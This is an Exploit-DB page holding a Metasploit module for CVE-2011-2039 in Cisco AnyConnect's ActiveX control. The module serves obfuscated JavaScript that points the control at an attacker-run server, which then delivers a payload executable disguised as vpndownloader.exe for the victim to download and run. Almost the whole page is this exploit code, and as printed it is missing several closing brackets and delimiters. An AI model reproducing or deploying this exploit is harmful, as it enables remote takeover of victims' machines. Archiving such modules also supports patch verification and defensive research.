Cisco AnyConnect VPN Client – ActiveX URL Property Download and Execute (Metasploit)

Exploit Database
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作者： Metasploit

日期： 2011-06-06
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17366/

# $Id: cisco_anyconnect_exec.rb 12872 2011-06-06 20:15:51Z bannedit $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

def initialize(info = {})

super(update_info(info,

'Name' => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',

'Description'=> %q{

This module exploits a vulnerability in the Cisco AnyConnect VPN client

vpnweb.ocx ActiveX control. This control is typically used to install the

VPN client. An attacker can set the 'url' property which is where the control

tries to locate the files needed to install the client.

The control tries to download two files from the site specified within the

'url' property. One of these files it will be stored in a temporary directory and

executed.

'License'=> MSF_LICENSE,

'Author' => [ 'bannedit' ],

'Version'=> '$Revision: 12872 $',

'References' =>

[

[ 'CVE', '2011-2039' ],

[ 'OSVDB', '72714'],

[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],

[ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],

'Platform' => 'win',

'Targets'=>

[

[ 'Automatic',

{

'Arch' => ARCH_X86

}

'DisclosureDate' => 'Jun 01 2011',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('URIPATH', [ true, "The URI to use.", "/" ])

], self.class)

end

def on_request_uri(cli, request)

if request.uri.match(/vpndownloader\.exe/)

exe = generate_payload_exe({:code => payload.encoded})

print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")

send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })

select(nil, nil, nil, 5) # let the file download

handler(cli)

return

end

if request.uri.match(/updates\.txt/)

print_status("Client requested: #{request.uri}. Sending updates.txt")

updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))

send_response(cli, updates, { 'Content-Type' => 'text/plain' })

return

end

url = get_uri(cli)

dir = rand_text_alpha((rand(40) + 1))

js = ::Rex::Exploitation::JSObfu.new %Q|

var x = document.createElement("object");

x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");

x.url = "#{url}/#{dir}/";

js.obfuscate

html = "<html>\n\t<script>#{js}\t</script>\n</html>"

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, html)

end